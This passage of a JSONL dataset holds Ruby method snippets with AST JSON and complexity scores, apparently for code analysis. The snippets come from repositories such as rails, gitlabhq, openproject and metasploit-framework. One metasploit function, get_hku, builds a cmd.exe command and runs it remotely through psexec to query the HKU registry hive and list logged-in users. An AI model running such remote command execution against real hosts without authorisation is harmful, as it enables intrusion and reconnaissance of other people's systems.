\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success_count\"]}]},{\"type\":\"str\",\"children\":[\" project(s) successfully migrated, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failure_count\"]}]},{\"type\":\"str\",\"children\":[\" error(s) reported.\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failure_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_lines\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  The following \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failure_count\"]}]},{\"type\":\"str\",\"children\":[\" project id(s) failed to migrate:\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_lines\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@failed_projects\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_lines\"]},\"join\"]}]}]}","id":"c8cb4e55-d158-4e26-a5dd-155803cee630"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/du/du_stubbing.rb","start_line":5,"raw_source":"def du_read_fixture_file(filename)\n  File.read(du_fixture_file_path(filename))\nend","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"du_read_fixture_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"du_fixture_file_path\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}","id":"010a11c3-5e8a-4cce-9215-161b1ede3934"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":1423,"raw_source":"def remove_prohibited_unicode_characters\n    return unless title&.match?(BIDI_CONTROL_CHARACTERS)\n\n    bidi_stripped = title.gsub(BIDI_CONTROL_CHARACTERS, \"\")\n    self.title = bidi_stripped if bidi_stripped.blank? # title only contains BIDI characters = blank title\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_prohibited_unicode_characters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"BIDI_CONTROL_CHARACTERS\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"bidi_stripped\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"gsub\",{\"type\":\"const\",\"children\":[null,\"BIDI_CONTROL_CHARACTERS\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bidi_stripped\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"title=\",{\"type\":\"lvar\",\"children\":[\"bidi_stripped\"]}]},null]}]}]}","id":"8d174b18-b3f9-49fb-8cbb-0afa3c084755"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/serialization_test.rb","start_line":50,"raw_source":"def test_serialize_should_allow_attribute_except_filtering\n    FORMATS.each do |format|\n      @serialized = Contact.new(@contact_attributes).public_send(\"to_#{format}\", except: [ :age, :name ])\n      contact = Contact.new.public_send(\"from_#{format}\", @serialized)\n      assert_nil contact.name, \"For #{format}\"\n      assert_nil contact.age, \"For #{format}\"\n      assert_equal @contact_attributes[:awesome], contact.awesome, \"For #{format}\"\n    end\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_serialize_should_allow_attribute_except_filtering\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FORMATS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@serialized\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Contact\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@contact_attributes\"]}]},\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"to_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"age\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contact\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Contact\"]},\"new\"]},\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"from_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@serialized\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"For \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"age\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"For \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"awesome\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"awesome\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"For \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]}]}]}","id":"cd16cd85-4245-4fee-ae76-74c9b9d74645"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/kerberos/ticket_converter.rb","start_line":74,"raw_source":"def ccache?(header)\n    header[0..1] == \"\\x05\\x04\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ccache?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]},\"==\",{\"type\":\"str\",\"children\":[\"\\u0005\\u0004\"]}]}]}","id":"e41958f0-5bc9-4851-9172-9677dde6fa7d"}
{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/sequel/validator.rb","start_line":22,"raw_source":"def validate\n      super\n      errors.add(:validator, \"invalid\") if invalid\n      validates_presence :name\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"validator\"]},{\"type\":\"str\",\"children\":[\"invalid\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"validates_presence\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"a066fc54-c3c7-4cf7-9156-10bce7d4f75a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote.rb","start_line":39,"raw_source":"def remove_socket(sock)\n      self.sockets.delete(sock)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_socket\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sockets\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]}","id":"d5a76a73-31ab-4991-8935-38e8306c39b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/pajamas/accordion_item_component.rb","start_line":23,"raw_source":"def body_class\n      @state == :opened ? { class: 'show' } : {}\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"body_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"==\",{\"type\":\"sym\",\"children\":[\"opened\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"show\"]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"9bed860b-0345-4264-b225-c8fafd16f4ae"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":699,"raw_source":"def test_generate_url_without_controller\n    assert_equal \"http://www.example.com/foo\", url_for(controller: \"foo\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_url_without_controller\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://www.example.com/foo\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]}]}","id":"3d89a677-a8fe-4627-beee-24966ad957dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/merge_requests/set_labels.rb","start_line":22,"raw_source":"def resolve(project_path:, iid:, label_ids:, operation_mode: Types::MutationOperationModeEnum.enum[:replace])\n        merge_request = authorized_find!(project_path: project_path, iid: iid)\n        project = merge_request.project\n\n        # MergeRequests::UpdateService expects integers\n        label_ids = label_ids.compact.map(&:model_id)\n\n        attribute_name = case operation_mode\n                         when Types::MutationOperationModeEnum.enum[:append]\n                           :add_label_ids\n                         when Types::MutationOperationModeEnum.enum[:remove]\n                           :remove_label_ids\n                         else\n                           :label_ids\n                         end\n\n        ::MergeRequests::UpdateService.new(\n          project: project,\n          current_user: current_user,\n          params: { attribute_name => label_ids }\n        ).execute(merge_request)\n\n        {\n          merge_request: merge_request,\n          errors: errors_on_object(merge_request)\n        }\n      end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_path\"]},{\"type\":\"kwarg\",\"children\":[\"iid\"]},{\"type\":\"kwarg\",\"children\":[\"label_ids\"]},{\"type\":\"kwoptarg\",\"children\":[\"operation_mode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"MutationOperationModeEnum\"]},\"enum\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"replace\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"merge_request\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_path\"]},{\"type\":\"lvar\",\"children\":[\"project_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"lvar\",\"children\":[\"iid\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"project\"]}]},{\"type\":\"lvasgn\",\"children\":[\"label_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_ids\"]},\"compact\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attribute_name\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation_mode\"]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"MutationOperationModeEnum\"]},\"enum\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"append\"]}]},{\"type\":\"sym\",\"children\":[\"add_label_ids\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"MutationOperationModeEnum\"]},\"enum\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remove\"]}]},{\"type\":\"sym\",\"children\":[\"remove_label_ids\"]}]},{\"type\":\"sym\",\"children\":[\"label_ids\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"lvar\",\"children\":[\"label_ids\"]}]}]}]}]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[null,\"errors_on_object\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}]}]}]}","id":"0b6fd860-382b-412e-aea0-599ae7ff825a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/nextcloud/commands/create_folder_command_spec.rb","start_line":106,"raw_source":"def delete_created_folder(folder)\n              Input::DeleteFolder.build(location: folder.location).bind do |input_data|\n                Registry.resolve(\"nextcloud.commands.delete_folder\").call(storage:, auth_strategy:, input_data:)\n              end\n            end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_created_folder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"folder\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Input\"]},\"DeleteFolder\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folder\"]},\"location\"]}]}]}]},\"bind\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Registry\"]},\"resolve\",{\"type\":\"str\",\"children\":[\"nextcloud.commands.delete_folder\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[null,\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_strategy\"]},{\"type\":\"send\",\"children\":[null,\"auth_strategy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_data\"]},{\"type\":\"lvar\",\"children\":[\"input_data\"]}]}]}]}]}]}","id":"55fed232-7f0d-404f-8867-7311efe6fe05"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory.rb","start_line":47,"raw_source":"def inventory_collections\n      parse.inventory_collections\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inventory_collections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse\"]},\"inventory_collections\"]}]}","id":"347fd525-6098-4580-a78c-2d7c6f1f6cbe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240909230052_add_personal_namespace_id_to_events_self_managed.rb","start_line":8,"raw_source":"def up\n    return if Gitlab.com_except_jh?\n\n    return if column_exists?(:events, :personal_namespace_id)\n\n    with_lock_retries(raise_on_exhaustion: true) do\n      add_column :events, :personal_namespace_id, :bigint # rubocop:disable Migration/PreventAddingColumns -- Legacy migration\n    end\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com_except_jh?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_exists?\",{\"type\":\"sym\",\"children\":[\"events\"]},{\"type\":\"sym\",\"children\":[\"personal_namespace_id\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_exhaustion\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"events\"]},{\"type\":\"sym\",\"children\":[\"personal_namespace_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]}]}]}","id":"8e5220a8-dc60-4731-8b69-6e590020d8d4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/sub_menus/create_new_menu.rb","start_line":27,"raw_source":"def go_to_create_snippet\n          within_new_item_menu do\n            click_element(:create_menu_item, create_menu_item: 'general_new_snippet')\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"go_to_create_snippet\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_new_item_menu\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"sym\",\"children\":[\"create_menu_item\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create_menu_item\"]},{\"type\":\"str\",\"children\":[\"general_new_snippet\"]}]}]}]}]}]}","id":"9918197a-c188-4891-86ea-95da6cb888a9"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/sql_representer_walker.rb","start_line":107,"raw_source":"def embed_for(stacker)\n          stacker.any? ? embed.dig(*stacker) : embed\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"embed_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stacker\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stacker\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"embed\"]},\"dig\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stacker\"]}]}]},{\"type\":\"send\",\"children\":[null,\"embed\"]}]}]}","id":"b7f42970-9c0a-4d20-941f-f3b1593f9ae3"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/baseline_modal.rb","start_line":55,"raw_source":"def expect_selected_time(value)\n        expect(page).to have_field(\"op-baseline-time\", with: value)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_selected_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"str\",\"children\":[\"op-baseline-time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"d0f783a0-27d1-4353-9bcb-eb29a1ee7744"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/phase_component.rb","start_line":65,"raw_source":"def hover_card_data_args(gate:)\n      raise ArgumentError, \"gate must be either :start or :finish\" unless %i[start finish].include?(gate)\n\n      {\n        hover_card_trigger_target: \"trigger\",\n        hover_card_url: hover_card_project_phase_path(phase, gate:),\n        test_selector: \"phase-#{phase.id}-#{gate}-gate\"\n      }\n    end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"hover_card_data_args\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"gate\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"sym\",\"children\":[\"finish\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"gate\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"gate must be either :start or :finish\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hover_card_trigger_target\"]},{\"type\":\"str\",\"children\":[\"trigger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hover_card_url\"]},{\"type\":\"send\",\"children\":[null,\"hover_card_project_phase_path\",{\"type\":\"send\",\"children\":[null,\"phase\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gate\"]},{\"type\":\"lvar\",\"children\":[\"gate\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test_selector\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"phase-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"phase\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gate\"]}]},{\"type\":\"str\",\"children\":[\"-gate\"]}]}]}]}]}]}","id":"31fc2692-6725-4438-9a47-3a7f2d710c71"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb","start_line":77,"raw_source":"def get_hku(ip, smbshare, cmd, text, bat)\n    begin\n      # Try and query HKU\n      command = \"#{cmd} /C echo reg.exe QUERY HKU ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}\"\n      out = psexec(command)\n      output = get_output(ip, smbshare, text)\n      cleanout = Array.new\n      output.each_line { |line| cleanout << line.chomp if line.include?(\"HKEY\") && line.split(\"-\").size == 8 && !line.split(\"-\")[7].include?(\"_\") }\n      return cleanout\n    rescue StandardError => hku_error\n      print_error(\"Error running query against HKU. #{hku_error.class}. #{hku_error}\")\n      return nil\n    end\n  end","complexity_score":36.95,"ast_json":"{\"type\":\"def\",\"children\":[\"get_hku\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"arg\",\"children\":[\"smbshare\"]},{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"bat\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\" /C echo reg.exe QUERY HKU ^> %SYSTEMDRIVE%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"str\",\"children\":[\" > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bat\"]}]},{\"type\":\"str\",\"children\":[\" & \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\" /C start cmd.exe /C \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bat\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"send\",\"children\":[null,\"psexec\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"get_output\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"smbshare\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cleanout\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"include?\",{\"type\":\"str\",\"children\":[\"HKEY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]},\"[]\",{\"type\":\"int\",\"children\":[7]}]},\"include?\",{\"type\":\"str\",\"children\":[\"_\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleanout\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"chomp\"]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleanout\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hku_error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error running query against HKU. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hku_error\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\". \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hku_error\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},null]}]}]}","id":"5e72057b-1df6-4d47-a6fe-00fdc5b021d7"}
